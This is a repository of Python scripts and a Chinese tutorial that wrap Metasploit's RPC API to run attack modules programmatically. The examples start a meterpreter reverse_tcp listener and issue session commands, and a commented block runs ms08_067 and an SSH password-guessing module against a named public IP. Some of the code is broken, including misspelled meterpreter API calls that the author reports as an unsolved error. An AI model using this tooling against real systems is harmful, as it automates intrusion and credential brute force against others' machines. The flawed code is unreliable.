--------------------------------------------------------------------------------
/TestMsfRpcClient.py:
--------------------------------------------------------------------------------
1 | # _*_ encoding:utf-8 _*_
2 | # __author__ = "dr0op"
3 |
4 | from pymsfrpc import MsfRpcClient
5 | import time
6 |
7 | ip = "10.10.11.180"
8 | port = "55553"
9 | user = "msf"
10 | passwd = "msf"
11 | c = MsfRpcClient.Client(ip,port,user,passwd)
12 |
13 |
14 | def dictdecode(data):
15 | if isinstance(data, bytes): return data.decode('ascii')
16 | if isinstance(data, dict): return dict(map(convert, data.items()))
17 | if isinstance(data, tuple): return map(convert, data)
18 | return data
19 |
20 | console_id = c.create_console().get(b'id')
21 | print("consoleID:",console_id)
22 | print("list",c.list_consoles())
23 |
24 | cmd = """
25 | use exploit/multi/handler
26 | set PAYLOAD windows/meterpreter/reverse_tcp
27 | set LHOST 10.10.11.180
28 | set LPORT 3355
29 | exploit -z -j
30 | """
31 |
32 | res = c.get_version()
33 | resp = c.write_console(console_id,cmd)
34 | print(resp)
35 |
36 | time.sleep(1)
37 | while True:
38 | res = c.read_console(console_id)
39 | if res[b'busy'] == True:
40 | time.sleep(1)
41 | continue
42 | elif res[b'busy'] == False:
43 | print(res[b'data'].decode())
44 | break
45 |
46 | print("sessions:",c.list_sessions())
47 | print("pro_moudles:",c.send_command(["pro.modules",c.token,"post"]))
48 | print("meterpreter_run_single:",c.send_command(["session.meterpreter_run_single",c.token,2,"ls"]))
49 | print("meterpreter_script:",c.send_command(["session.meterpreter_script",c.token,2,"ps"]))
50 | #print("write_shell:",c.write_shell(1,"info"))
51 | print("read_shell:",c.read_shell(2))
52 | print("write meterpreter",c.write_meterpreter(2,'whoami\n'))
53 | print("read meterpreter",c.read_meterpreter(2))
54 |
55 |
56 | print(c.destroy_console(console_id))
--------------------------------------------------------------------------------
/demo1.py:
--------------------------------------------------------------------------------
1 | # _*_ encoding:utf-8 _*_
2 | # __author__ = "dr0op"
3 |
4 | import msgpack
5 | import http.client
6 |
7 | HOST="10.10.11.180"
8 | PORT="55553"
9 | headers = {"Content-type" : "binary/message-pack"}
10 |
11 | req = http.client.HTTPConnection(HOST, PORT)
12 | options = ["auth.login","msf","msf"]
13 | options = msgpack.packb(options)
14 | req.request("POST","/api/1.0",body=options,headers=headers)
15 | res = req.getresponse().read()
16 | res = msgpack.unpackb(res)
17 | res = res[b'token'].decode()
18 | print(res)
--------------------------------------------------------------------------------
/demo2.py:
--------------------------------------------------------------------------------
1 | # _*_ encoding:utf-8 _*_
2 | # __author__ = "dr0op"
3 |
4 | # -*- coding=utf-8 -*-
5 | import msgpack
6 | import time
7 | import http.client
8 | import requests
9 |
10 |
11 | HOST="10.10.11.180"
12 | PORT="55553"
13 |
14 | class Msfrpc:
15 |
16 | class MsfError(Exception):
17 |
18 | def __init__(self, msg):
19 | self.msg = msg
20 | def __str__(self):
21 | return repr(self.msg)
22 |
23 | class MsfAuthError(MsfError):
24 | def __init__(self, msg):
25 | self.msg = msg
26 |
27 | def __init__(self, opts=[]):
28 | self.host = HOST
29 | self.port = PORT
30 | self.uri = "http://172.20.10.5/api"
31 | self.ssl = False
32 | self.authenticated = False
33 | self.token = False
34 | self.headers = {"Content-type" : "binary/message-pack"}
35 | if self.ssl:
36 | self.cli = http.client.HTTPConnection(self.host,self.port)
37 | else:
38 | self.cli = http.client.HTTPConnection(self.host, self.port)
39 |
40 | def encode(self, data):
41 | return msgpack.packb(data)
42 |
43 | def decode(self, data):
44 | return msgpack.unpackb(data)
45 |
46 | def call(self, meth, opts = []):
47 | if meth != "auth.login":
48 | if not self.authenticated:
49 | raise self.MsfAuthError("MsfRPC: Not Authenticated")
50 | if meth != "auth.login":
51 | opts.insert(0,self.token)
52 |
53 | opts.insert(0,meth)
54 | params = self.encode(opts)
55 | res = requests.post(self.uri, params,self.headers)
56 | resp = self.cli.getresponse()
57 |
58 | return self.decode(resp.read())
59 |
60 | def login(self, user, password):
61 | ret = self.call('auth.login', [user,password])
62 | if ret.get('result') == 'success':
63 | self.authenticated = True
64 | self.token = ret.get('token')
65 | return True
66 |
67 | else:
68 | raise self.MsfAuthError("MsfRPC: Authentication failed")
69 |
70 |
71 | if __name__ == '__main__':
72 |
73 | # 使用默认设置创建一个新的客户端实例
74 | client = Msfrpc({})
75 | # 使用密码abc123登录msf服务器
76 | client.login('msf', 'msf')
77 | #
78 | # # 从服务器获得一个漏洞列表
79 | mod = client.call('module.exploits')
80 | print(mod)
81 | #
82 | # # 从返回的字典模型抓取第一个值
83 | # print ("Compatible payloads for : %s\n")%mod['modules'][0]
84 | #
85 | # # 获取payload
86 | # ret = client.call('module.compatible_payloads',[mod['modules'][0]])
87 | # for i in (ret.get('payloads')):
88 | # print ("\t%s")%i
89 |
90 | '''
91 | if __name__ == '__main__':
92 |
93 | # 创建一个新的默认配置的客户端实例
94 | client = Msfrpc({})
95 | # 使用密码abc123登录msf
96 | client.login('msf','msf')
97 | try:
98 | res = client.call('console.create')
99 | console_id = res['id']
100 | except:
101 | print ("Console create failed\r\n")
102 | sys.exit()
103 | host_list = '192.168.7.135'
104 | cmd = """
105 | use exploit/windows/smb/ms08_067_netapi
106 |
107 | set RHOST 192.168.7.135
108 |
109 | exploit
110 |
111 |
112 |
113 | use auxiliary/scanner/ssh/ssh_login
114 |
115 | set RHOSTS 198.13.51.203
116 |
117 | set USERNAME root
118 |
119 | set PASS_FILE /Users/drop/dr0op/temp/pass.txt
120 |
121 | exploit
122 |
123 | """
124 | client.call('console.write',[console_id,cmd])
125 | time.sleep(1)
126 | while True:
127 | res = client.call('console.read',[console_id])
128 | if len(res['data']) > 1:
129 | print (res['data'])
130 | if res['busy'] == True:
131 | time.sleep(1)
132 | continue
133 | break
134 |
135 | client.call('console.destroy',[console_id])
136 | '''
137 |
--------------------------------------------------------------------------------
/msfapi.md:
--------------------------------------------------------------------------------
1 | # Metasploit API使用文档
2 |
3 | Metasploit官方提供了API调用方式,有
4 |
5 | * RPC
6 | * REST
7 |
8 | 两种API调用方式,REST方式只支持专业版使用,这里推荐使用RPC方式调用,即标准API调用。
9 |
10 | ## 使用RPC API调用
11 |
12 | 在通过对Cobalt Strike2.4版本客户端和`armitage`客户端进行反编译,发现其API调用也为RPC调用。可以认为RPC API调用是"稳定",“可靠”的。
13 |
14 | ### RPC API 调用官方文档
15 |
16 | https://metasploit.help.rapid7.com/docs/standard-api-methods-reference
17 |
18 | ## 开启服务端RPC 服务
19 |
20 | 开启服务端API服务有两种方式:
21 |
22 | 1. 通过msfconsole加载msfrpc插件来开启RPC
23 | 2. 通过msfrpcd服务来开启RPC
24 |
25 | `msfconsole`其实也可以理解为`metasploit`的`客户端`,和`msfclient`,`armitage`的功能一致。只是操作方式有所不同。
26 |
27 | ### 通过msfconsole加载RPC
28 |
29 | 进入`msfconsole`之后,运行加载命令
30 |
31 | ```shell
32 | msf5 > load msgrpc ServerHost=127.0.0.1 ServerPort=55553 User='msf' Pass='msf'
33 | [*] MSGRPC Service: 127.0.0.1:55553
34 | [*] MSGRPC Username: msf
35 | [*] MSGRPC Password: msf
36 | [*] Successfully loaded plugin: msgrpc
37 | msf5 >
38 | ```
39 |
40 | 其中Serverhost即运行msf的主机,可以为`127.0.0.1`也可以是`0.0.0.0`区别是前者只能本机连接。
41 |
42 | ### 通过msfrpcd来开启RPC服务
43 |
44 | ```shell
45 | $ msfrpcd -U msf -P msf -S -f
46 | [*] MSGRPC starting on 0.0.0.0:55553 (NO SSL):Msg...
47 | [*] MSGRPC ready at 2018-10-17 11:06:46 +0800.
48 | ```
49 |
50 | 即以用户名和密码分别为`msf`,`msf`,不启用`SSL`来开启服务。`msfrpcd`和`msfconsole`命令一般在同一目录下。如果环境变量设置正确,一般可以直接使用。
51 |
52 | 关于msfrpcd的详细参数如下:
53 |
54 | ```shell
55 | $ ./msfrpcd -h
56 |
57 | Usage: msfrpcd
58 |
59 | OPTIONS:
60 |
61 | -P 设置RPC登录密码
62 | -S 在RPC socket上禁止使用SSL
63 | -U 设置RPC登录用户名
64 | -a 绑定一个IP地址(本机IP地址)
65 | -f 在后台以精灵进程(守护进程)的方式运行、启动
66 | -h 帮助菜单
67 | -n 禁止使用数据库
68 | -p 绑定某个端口,默认为55553
69 | -u 设置Web服务器的URI
70 | ```
71 |
72 | ## MSF RPC 与msgpack
73 |
74 | 与msf rpc api通信需要对通信的内容使用`msgpack`进行序列化,简单来说就是将要发送的数据包转换为二进制形式,以便于传输和格式统一。msgpack序列化之后的数据包支持多种语言,可以在msf服务端由ruby正常解析。
75 |
76 | Python下安装msgpack包:
77 |
78 | ```shell
79 | $ pip install msgpack
80 | ```
81 |
82 | ```python
83 | >>> import msgpack
84 | >>> dic = {'result': 'success', 'token': 'TEMPSsU2eYsNDom7GMj42ZldrAtQ1vGK'}
85 | >>> res = msgpack.packb(dic)
86 | >>> res
87 | '\x82\xa5token\xda\x00 TEMPSsU2eYsNDom7GMj42ZldrAtQ1vGK\xa6result\xa7success'
88 | >>>
89 |
90 | ```
91 |
92 | ## MSF API请求
93 |
94 | 在服务端开启RPC之后,可以使用HTTP协议去访问,会提示404,访问'api'会将文件下载下来。如果发生上述效果,表明服务端开启成功。
95 |
96 | 其实,MSF的RPC调用也利用HTTP协议,需要先连接`RPC socket`然后构造`POST`请求,不同的是,需要指定`Content-type`为`binary/message-pack`,这样客户端才会正确解析包。
97 |
98 | ### 登录认证API调用
99 |
100 | 登录认证时向服务端`POST`序列化发送如下数据包:
101 |
102 | 成功的请求示例
103 |
104 | 客户:
105 |
106 | ```json
107 | [ "auth.login", "MyUserName", "MyPassword"]
108 | ```
109 |
110 | 服务器:
111 |
112 | ```json
113 | { "result" => "success", "token" => "a1a1a1a1a1a…" }
114 | ```
115 |
116 | 这里用一个连接`MSF`服务端并进行登录的简单demo来演示:
117 |
118 | ```python
119 |
120 | # _*_ encoding:utf-8 _*_
121 | # __author__ = "dr0op"
122 | # python3
123 |
124 | import msgpack
125 | import http.client
126 |
127 | HOST="127.0.0.1"
128 | PORT="55553"
129 | headers = {"Content-type" : "binary/message-pack"}
130 |
131 | # 连接MSF RPC Socket
132 | req = http.client.HTTPConnection(HOST, PORT)
133 | options = ["auth.login","msf","msf"]
134 | # 对参数进行序列化(编码)
135 | options = msgpack.packb(options)
136 | # 发送请求,序列化之后的数据包
137 | req.request("POST","/api/1.0",body=options,headers=headers)
138 | # 获取返回
139 | res = req.getresponse().read()
140 | # 对返回进行反序列户(解码)
141 | res = msgpack.unpackb(res)
142 | res = res[b'token'].decode()
143 | print(res)
144 | ```
145 |
146 | 成功执行的结果`res`如下:
147 |
148 | ```json
149 | {'result': 'success', 'token': 'TEMPSsU2eYsNDom7GMj42ZldrAtQ1vGK'}
150 | ```
151 |
152 | `Token`是一个随机字符串,是登录认证后的标识。
153 |
154 | ## API详解
155 |
156 | 以上使用一个简单的例子理解请求的`API`调用数据包格式及请求方式,其他的`API`请求都是同理的。只是请求的内容有所改变而已。
157 |
158 | 关于常用的API请求和返回总结如下:
159 |
160 | #### 认证:
161 |
162 | 成功的请求示例
163 |
164 | 客户:
165 |
166 | ```json
167 | [ "auth.login", "MyUserName", "MyPassword"]
168 | ```
169 |
170 | 服务器:
171 |
172 | ```json
173 | { "result" => "success", "token" => "a1a1a1a1a1a…" }
174 | ```
175 |
176 | ### 不成功的请求示例
177 |
178 | 客户:
179 |
180 | ```json
181 | [ "auth.login", "MyUserName", "BadPassword"]
182 | ```
183 |
184 | 服务器:
185 |
186 | ```json
187 | {
188 | "error" => true,
189 | "error_class" => "Msf::RPC::Exception",
190 | "error_message" => "Invalid User ID or Password"
191 | }
192 | ```
193 |
194 | 退出同理
195 |
196 |
197 |
198 | ## console.create 创建一个终端
199 |
200 | 在成功登录之后,就可以使用console.create创建一个终端实例。创建过程需要一定的时间,如果上个创建未完成,下一终端创建返回的dict会提示`busy`项为`True`
201 |
202 | 客户:
203 |
204 | ```json
205 | [ "console.create", ""]
206 | ```
207 |
208 | 服务器:
209 |
210 | ```json
211 | {
212 | "id" => "0",
213 | "prompt" => "msf > ",
214 | "busy" => false
215 | }
216 | ```
217 |
218 | ## console.destroy删除一个终端
219 |
220 | 客户:
221 |
222 | ```json
223 | [ "console.destroy", "", "ConsoleID"]
224 | ```
225 |
226 | 服务器:
227 |
228 | ```json
229 | { "result" => "success" }
230 | ```
231 |
232 | ## console.list
233 |
234 | console.list方法将返回所有现有控制台ID,其状态和提示的哈希值。
235 |
236 | 客户:
237 |
238 | ```json
239 | [ "console.list", ""]
240 | ```
241 |
242 | 服务器:
243 |
244 | ```jsno
245 | {
246 | "0" => {
247 | "id" => "0",
248 | "prompt" => "msf exploit(\x01\x02\x01\x02handler\x01\x02) > ",
249 | "busy" => false
250 | },
251 | "1" => {
252 | "id" => "1",
253 | "prompt" => "msf > ",
254 | "busy" => true
255 | }
256 | }
257 | ```
258 |
259 | ## console.write
260 |
261 | console.write方法将数据发送到创建的终端,就想平时操作msfconsole那样,但需要给不同的命令后加上换行。
262 |
263 | 客户:
264 |
265 | ```json
266 | [ "console.write", "", "0", "version\n"]
267 | ```
268 |
269 | 服务器:
270 |
271 | ```json
272 | { "wrote" => 8 }
273 | ```
274 |
275 | ##
276 |
277 | ## console.read
278 |
279 | console.read方法将返回发送到终端命令的执行结果。
280 |
281 | 客户:
282 |
283 | ```json
284 | [ "console.read", "", "0"]
285 | ```
286 |
287 | 服务器:
288 |
289 | ```json
290 | {
291 | "data" => "Framework: 4.0.0-release.14644[..]\n",
292 | "prompt" => "msf > ",
293 | "busy" => false
294 | }
295 | ```
296 |
297 | ## MsfRpcClient
298 |
299 | 再使用一个`MSF RPC` Demo来演示一下:
300 |
301 | ```python
302 | # _*_ encoding:utf-8 _*_
303 | # __author__ = "dr0op"
304 | # python3
305 | import msgpack
306 | import time
307 | import http.client
308 |
309 | HOST="127.0.0.1"
310 | PORT="55553"
311 |
312 | class Msfrpc:
313 |
314 | class MsfError(Exception):
315 | """
316 | 异常处理函数
317 | """
318 | def __init__(self, msg):
319 | self.msg = msg
320 | def __str__(self):
321 | return repr(self.msg)
322 |
323 | class MsfAuthError(MsfError):
324 | """
325 | 登录异常处理
326 | """
327 | def __init__(self, msg):
328 | self.msg = msg
329 |
330 | def __init__(self, opts=[]):
331 | self.host = HOST
332 | self.port = PORT
333 | self.uri = "/api"
334 | self.ssl = False
335 | self.authenticated = False
336 | self.token = False
337 | self.headers = {"Content-type" : "binary/message-pack"}
338 | if self.ssl:
339 | self.cli = http.client.HTTPConnection(self.host,self.port)
340 | else:
341 | self.cli = http.client.HTTPConnection(self.host, self.port)
342 |
343 | def encode(self, data):
344 | """
345 | 序列化数据(编码)
346 | """
347 | return msgpack.packb(data)
348 |
349 | def decode(self, data):
350 | """
351 | 反序列化数据(解码)
352 | """
353 | return msgpack.unpackb(data)
354 |
355 | def call(self, meth, opts = []):
356 | if meth != "auth.login":
357 | if not self.authenticated:
358 | raise self.MsfAuthError("MsfRPC: Not Authenticated")
359 | if meth != "auth.login":
360 | opts.insert(0,self.token)
361 |
362 | opts.insert(0,meth)
363 | params = self.encode(opts)
364 | # 发送请求包
365 | res = requests.post(self.uri, params,self.headers)
366 | resp = self.cli.getresponse()
367 | # 获取结果并解码
368 | return self.decode(resp.read())
369 |
370 | def login(self, user, password):
371 | """
372 | 登录认证函数
373 | """
374 | ret = self.call('auth.login', [user,password])
375 | if ret.get('result') == 'success':
376 | self.authenticated = True
377 | self.token = ret.get('token')
378 | return True
379 |
380 | else:
381 | raise self.MsfAuthError("MsfRPC: Authentication failed")
382 |
383 |
384 | if __name__ == '__main__':
385 |
386 | # 创建一个新的默认配置的客户端实例
387 | client = Msfrpc({})
388 | # 使用密码abc123登录msf
389 | client.login('msf','msf')
390 | try:
391 | res = client.call('console.create')
392 | console_id = res['id']
393 | except:
394 | print ("Console create failed\r\n")
395 | sys.exit()
396 | # 要发送给终端的命令
397 | cmd = """
398 | use auxiliary/scanner/ssh/ssh_login
399 |
400 | set RHOSTS 127.0.0.1
401 |
402 | set USERNAME root
403 |
404 | set PASS_FILE /tmp/pass.txt
405 |
406 | exploit
407 |
408 | """
409 | client.call('console.write',[console_id,cmd])
410 | time.sleep(1)
411 | while True:
412 | # 发送命令并获取结果
413 | res = client.call('console.read',[console_id])
414 | if len(res['data']) > 1:
415 | print (res['data'])
416 | if res['busy'] == True:
417 | time.sleep(1)
418 | continue
419 | break
420 |
421 | client.call('console.destroy',[console_id])
422 |
423 | ```
424 |
425 | 在这个例子中,调用MSF RPC登录获取`Token`之后,创建一个`console`,并发送命令到`console,由msf服务端去执行。执行成功之后会将结果以序列化后的形式返回。反序列化之后成为一个dict,包含了返回后的结果。
426 |
427 | ## 对API进行封装
428 |
429 | 以上是一个基础的MSF API简单调用模块去攻击的demo,但是在应用中,需要对其常见的API调用进行封装,做成一个属于我们自己的`库`,使用时,只需要去调用它即可。
430 |
431 | 简单的封装如下:
432 |
433 | ```python
434 | import msgpack
435 | import http.client as request
436 |
437 |
438 | class AuthError(Exception):
439 | """
440 | 登录认证错误异常处理
441 | """
442 | def __init__(self):
443 | print("登录失败,检查账户密码")
444 |
445 |
446 |
447 | class ConnectionError(Exception):
448 | """
449 | 链接msfrpc错误异常处理
450 | """
451 | def __init__(self):
452 | print("连接失败,服务端或网络问题")
453 |
454 |
455 | class Client(object):
456 | """
457 | MsfRPC Client客户端,发送处理命令行参数
458 | """
459 | def __init__(self,ip,port,user,passwd):
460 | # 属性
461 | self.user = user
462 | self.passwd = passwd
463 | self.server = ip
464 | self.port = port
465 | self.headers = {"Content-Type": "binary/message-pack"}
466 | self.client = request.HTTPConnection(self.server,self.port)
467 | self.auth()
468 |
469 |
470 | #装饰器对属性读写前的处理
471 | @property
472 | def headers(self):
473 | return self._headers
474 |
475 | @headers.setter
476 | def headers(self,value):
477 | self._headers = value
478 |
479 | @property
480 | def options(self):
481 | return self._options
482 |
483 | @options.setter
484 | def options(self,value):
485 | #将数据打包为通用模式
486 | self._options = msgpack.packb(value)
487 |
488 | @property
489 | def token(self):
490 | return self._token
491 |
492 | @token.setter
493 | def token(self,value):
494 | self._token = value
495 |
496 | def auth(self):
497 | """
498 | 登录认证函数
499 | :return 一串随机的token值:
500 | """
501 | print("Attempting to access token")
502 | self.options = ["auth.login",self.user,self.passwd]
503 | try:
504 | self.client.request("POST","/api",body=self.options,headers=self.headers)
505 | except:
506 | ConnectionError()
507 | c = self.client.getresponse()
508 | if c.status != 200:
509 | raise ConnectionError()
510 | else:
511 | res = msgpack.unpackb(c.read())
512 | print(res)
513 | if b'error' not in res.keys() and res[b'result'] == b'success':
514 | self.token = res[b'token']
515 | print("Token recived:> %s",self.token)
516 | else:
517 | raise AuthError()
518 |
519 | def send_command(self,options):
520 | self.options = options
521 | self.client.request("POST","/api",body=self.options,headers=self.headers)
522 | c = self.client.getresponse()
523 | if c.status != 200:
524 | raise ConnectionError()
525 | else:
526 | res = msgpack.unpackb(c.read())
527 | return res
528 |
529 |
530 | def get_version(self):
531 | """
532 | 获取msf和ruby的版本信息
533 | :return ruby 和 msf vresion:
534 | """
535 | res = self.send_command(["core.version",self.token])
536 | return res
537 |
538 | def create_console(self):
539 | """
540 | 创建一个虚拟终端
541 | :return :
542 | """
543 | res = self.send_command(["console.create",self.token])
544 | return res
545 |
546 | def destroy_console(self,console_id):
547 | """
548 | 销毁一个终端
549 | :param console_id 终端id:
550 | :return:
551 | """
552 | #console_id = str(console_id)
553 | res = self.send_command(["console.destroy",self.token,console_id])
554 | return res
555 |
556 | def list_consoles(self):
557 | """
558 | 获取一个已获取的终端列表,【id,prompt,busy】
559 | :return list[id,prompt,busy]:
560 | """
561 | res = self.send_command(["console.list",self.token])
562 | return res
563 |
564 | def write_console(self,console_id,data,process=True):
565 | """
566 | 向终端中写命令
567 | :param console_id: id
568 | :param data:要发送到终端的命令
569 | :param process:
570 | :return:
571 | """
572 | if process == True:
573 | data +="\n"
574 | str(console_id)
575 | res = self.send_command(["console.write",self.token,console_id,data])
576 | return res
577 |
578 | def read_console(self,console_id):
579 | """
580 | 获取发送命令后终端的执行结果
581 | :param console_id:
582 | :return:
583 | """
584 | str(console_id)
585 | res = self.send_command(["console.read",self.token,console_id])
586 | return res
587 |
588 | def list_sessions(self):
589 | """
590 | 列出所有session信息
591 | :return:
592 | """
593 | res = self.send_command(["session.list",self.token])
594 | return res
595 |
596 | def stop_session(self,ses_id):
597 | """
598 | 停止一个session
599 | :param ses_id:
600 | :return:
601 | """
602 | str(ses_id)
603 | res = self.send_command(["session.stop",self.token,ses_id])
604 | return res
605 |
606 | def read_shell(self,ses_id,read_ptr=0):
607 | """
608 | 获取session执行shell信息
609 | :param ses_id:
610 | :param read_ptr:
611 | :return:
612 | """
613 | str(ses_id)
614 | res = self.send_command(["session.shell_read",self.token,ses_id,read_ptr])
615 | return res
616 |
617 | def write_shell(self,ses_id,data,process=True):
618 | """
619 | 向一个shell发送命令
620 | :param ses_id:
621 | :param data:
622 | :param process:
623 | :return:
624 | """
625 | if process == True:
626 | data += "\n"
627 | str(ses_id)
628 | res = self.send_command(["session.shell_write",self.token,ses_id,data])
629 | return res
630 |
631 | def write_meterpreter(self,ses_id,data):
632 | """
633 | 向meterpreter发送命令
634 | :param ses_id:
635 | :param data:
636 | :return:
637 | """
638 | str(ses_id)
639 | res = self.send_command(["session.meterperter_write",self.token,ses_id,data])
640 | return res
641 |
642 | def read_meterpreter(self,ses_id):
643 | """
644 | 读取meterpreter信息
645 | :param ses_id:
646 | :return:
647 | """
648 | str(ses_id)
649 | res = self.send_command(["session.meterperter_read",self.token,ses_id])
650 | return res
651 |
652 | def run_module(self,_type,name,HOST,PORT,payload=False):
653 | """
654 | 执行模块
655 | :param _type:
656 | :param name:
657 | :param HOST:
658 | :param PORT:
659 | :param payload:
660 | :return:
661 | """
662 | if payload != False:
663 | d = ["module.execute",self.token,_type,name,{"LHOST":HOST,"LPOST":PORT}]
664 | else:
665 | d = ["module.execute",self.token,_type,name,{"RHOST":HOST,"RHOST":PORT}]
666 | res = self.send_command(d)
667 | return res
668 |
669 |
670 | # if __name__ == "__main__":
671 | # auth = Client("127.0.0.1","msf","yFdkc6fB")
672 | # print(auth.get_version())
673 | # print(auth.list_consoles())
674 | # print(auth.create_console())
675 | # print(auth.read_console(1))
676 | # print(auth.write_console(1,"ls"))
677 | # print(auth.destroy_console(1))
678 | # print(auth.list_sessions())
679 | # print(auth.run_module("exploit","ms17_010_eternalblue","1.1.1.1","1"))
680 |
681 | ```
682 |
683 | 使用这个库去调用攻击模块:
684 |
685 | ```python
686 | # _*_ encoding:utf-8 _*_
687 | # __author__ = "dr0op"
688 |
689 | from pymsfrpc import msfrpc
690 | import time
691 |
692 | ip = "10.10.11.180"
693 | port = "55553"
694 | user = "msf"
695 | passwd = "msf"
696 | c = msfrpc.Client(ip,port,user,passwd)
697 |
698 | console_id = c.create_console().get(b'id')
699 | cmd = """
700 | use auxiliary/scanner/ssh/ssh_login
701 |
702 | set RHOSTS 127.0.0.1
703 |
704 | set USERNAME root
705 |
706 | set PASS_FILE /tmp/pass.txt
707 |
708 | exploit
709 | """
710 | res = c.get_version()
711 | resp = c.write_console(console_id,cmd)
712 | time.sleep(1)
713 | while True:
714 | res = c.read_console(console_id)
715 | if res[b'busy'] == True:
716 | time.sleep(1)
717 | continue
718 | elif res[b'busy'] == False:
719 | print(res[b'data'].decode())
720 | break
721 | c.destroy_console(console_id)
722 | ```
723 |
724 | 以上封装改自github开源代码msf-autopwn
725 |
726 | https://github.com/DanMcInerney/msf-autopwn
727 |
728 | 有所改动。
729 |
730 | ## 更全面的封装
731 |
732 | 更全面的封装可参考
733 |
734 | https://github.com/isaudits/msfrpc_console/blob/master/modules/pymetasploit/src/metasploit/msfrpc.py
735 |
736 | 要在较成熟系统上使用可参考,使用GPL0.4开源协议。
737 |
738 | ## 存在的问题及解决方案
739 |
740 | #### 1. 反序列化后的格式问题
741 |
742 | 在`Python3`版本测试过程中,发现对返回数据进行反序列化之后,出现类似:
743 |
744 | ```
745 | {b'result': b'success', b'token': b'TEMPEqU3buWpncDeoBryIWOgKJ9O34cJ'}
746 | ```
747 |
748 | 这种格式的dict,这表示dict的内容即keys和values是`bytes`类型的。这给我们的后续操作带来很大的不便,在判断时需要将其转化为`str`类型。要转化,只需要将其项`decode()`即可。然而,dict并不支持decode,需要遍历其中的项并进行转化。
749 |
750 | 转换方法现提供如下:
751 |
752 | ```Python
753 | def convert(data):
754 | """
755 | 对Bytes类型的dict进行转化,转化为项为Str类型
756 | """
757 | if isinstance(data, bytes): return data.decode('ascii')
758 | if isinstance(data, dict): return dict(map(convert, data.items()))
759 | if isinstance(data, tuple): return map(convert, data)
760 | return data
761 |
762 | ```
763 |
764 | #### 2. meterpreter无法获取session问题
765 |
766 | 使用`msfvenom`生成一个木马并在目标执行。在msf服务端使用MSF RPC进行监听。使用`session.list`成功获取session列表。返回结果如下:
767 |
768 | ```json
769 | {14: {b'type': b'meterpreter', b'tunnel_local': b'10.10.11.180:3355', b'tunnel_peer': b'10.10.11.180:55656', b'via_exploit': b'exploit/multi/handler', b'via_payload': b'payload/windows/meterpreter/reverse_tcp', b'desc': b'Meterpreter', b'info': b'LAPTOP-0IG64IBE\\dr0op @ LAPTOP-0IG64IBE', b'workspace': b'false', b'session_host': b'10.10.11.180', b'session_port': 55656, b'target_host': b'10.10.11.180', b'username': b'dr0op', b'uuid': b'j3oe1mtk', b'exploit_uuid': b'nxyfbzx4', b'routes': b'', b'arch': b'x86', b'platform': b'windows'}}
770 | ```
771 |
772 | session ID为14。
773 |
774 | 成功获取session列表后,就可以向session读写meterpreter命令。
775 |
776 | ```python
777 | c.write_meterpreter(14,'getuid\n')
778 | ```
779 |
780 | ```
781 | c.read_meterpreter(14)
782 | ```
783 |
784 | 然而,MSF RPC端返回如下:
785 |
786 | ```json
787 | write meterpreter {b'error': True, b'error_class': b'ArgumentError', b'error_string': b'Unknown API Call: \'"rpc_meterperter_write"\'', b'error_backtrace': [b"lib/msf/core/rpc/v10/service.rb:143:in `process'", b"lib/msf/core/rpc/v10/service.rb:91:in `on_request_uri'", b"lib/msf/core/rpc/v10/service.rb:72:in `block in start'", b"lib/rex/proto/http/handler/proc.rb:38:in `on_request'", b"lib/rex/proto/http/server.rb:368:in `dispatch_request'", b"lib/rex/proto/http/server.rb:302:in `on_client_data'", b"lib/rex/proto/http/server.rb:161:in `block in start'", b"lib/rex/io/stream_server.rb:48:in `on_client_data'", b"lib/rex/io/stream_server.rb:199:in `block in monitor_clients'", b"lib/rex/io/stream_server.rb:197:in `each'", b"lib/rex/io/stream_server.rb:197:in `monitor_clients'", b"lib/rex/io/stream_server.rb:73:in `block in start'", b"lib/rex/thread_factory.rb:22:in `block in spawn'", b"lib/msf/core/thread_manager.rb:100:in `block in spawn'"], b'error_message': b'Unknown API Call: \'"rpc_meterperter_write"\''}
788 |
789 | ```
790 |
791 | ```python
792 | read meterpreter {b'error': True, b'error_class': b'ArgumentError', b'error_string': b'Unknown API Call: \'"rpc_meterperter_read"\'', b'error_backtrace': [b"lib/msf/core/rpc/v10/service.rb:143:in `process'", b"lib/msf/core/rpc/v10/service.rb:91:in `on_request_uri'", b"lib/msf/core/rpc/v10/service.rb:72:in `block in start'", b"lib/rex/proto/http/handler/proc.rb:38:in `on_request'", b"lib/rex/proto/http/server.rb:368:in `dispatch_request'", b"lib/rex/proto/http/server.rb:302:in `on_client_data'", b"lib/rex/proto/http/server.rb:161:in `block in start'", b"lib/rex/io/stream_server.rb:48:in `on_client_data'", b"lib/rex/io/stream_server.rb:199:in `block in monitor_clients'", b"lib/rex/io/stream_server.rb:197:in `each'", b"lib/rex/io/stream_server.rb:197:in `monitor_clients'", b"lib/rex/io/stream_server.rb:73:in `block in start'", b"lib/rex/thread_factory.rb:22:in `block in spawn'", b"lib/msf/core/thread_manager.rb:100:in `block in spawn'"], b'error_message': b'Unknown API Call: \'"rpc_meterperter_read"\''}
793 | ```
794 |
795 | 暂未找到解决方案。
796 |
797 | # 总结
798 |
799 | 该文档由浅入深地描述了MSF API调用开发的方式及常见问题。并且由于每个人的环境不同,相同的代码在不同的环境中可能无法运行,需自行解决环境及依赖问题。封装方法精力允许的情况下推荐第二种封装方式。更为专业及具有可扩展性。已将部分代码push至gitlab:`http://gitlab.vackbot.com/blank7/MsfRpcAPI`。
--------------------------------------------------------------------------------
/pymsfrpc/MsfRpcClient.py:
--------------------------------------------------------------------------------
1 | import msgpack
2 | import http.client as request
3 |
4 |
5 | class AuthError(Exception):
6 | """
7 | 登录认证错误异常处理
8 | """
9 | def __init__(self):
10 | print("登录失败,检查账户密码")
11 |
12 |
13 |
14 | class ConnectionError(Exception):
15 | """
16 | 链接msfrpc错误异常处理
17 | """
18 | def __init__(self):
19 | print("连接失败,服务端或网络问题")
20 |
21 |
22 | class Client(object):
23 | """
24 | MsfRPC Client客户端,发送处理命令行参数
25 | """
26 | def __init__(self,ip,port,user,passwd):
27 | # 属性
28 | self.user = user
29 | self.passwd = passwd
30 | self.server = ip
31 | self.port = port
32 | self.headers = {"Content-Type": "binary/message-pack"}
33 | self.client = request.HTTPConnection(self.server,self.port)
34 | self.auth()
35 |
36 |
37 | #装饰器对属性读写前的处理
38 | @property
39 | def headers(self):
40 | return self._headers
41 |
42 | @headers.setter
43 | def headers(self,value):
44 | self._headers = value
45 |
46 | @property
47 | def options(self):
48 | return self._options
49 |
50 | @options.setter
51 | def options(self,value):
52 | #将数据打包为通用模式
53 | self._options = msgpack.packb(value)
54 |
55 | @property
56 | def token(self):
57 | return self._token
58 |
59 | @token.setter
60 | def token(self,value):
61 | self._token = value
62 |
63 | def auth(self):
64 | """
65 | 登录认证函数
